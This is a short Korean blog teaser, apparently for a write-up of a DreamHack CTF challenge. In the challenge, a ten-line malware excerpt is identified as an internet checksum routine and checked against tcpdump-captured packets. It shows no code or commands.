[🥉 Bronze 1] 헤더에 박히는 두 바이트 — DreamHack [CodeEngn] Malware L03 풀이

악성코드 소스 10줄을 던져 주고 "무엇을 하는 함수인가"만 묻는다. 모양은 인터넷 체크섬인데, 모양만 보고 답을 찍기엔 근거가 얇다. 그래서 배포본을 한 글자도 안 고치고 컴파일해 tcpdump 로 잡은 진짜 패킷의 체크섬 자리 12곳과 맞춰 봤다. 전부 일치했고, 덤으로 이 발췌본이 규격에서 어긋나는 자리 세 군데가 나왔다.
#dreamhack#ctf#misc+6
2026-08-19#dreamhack +4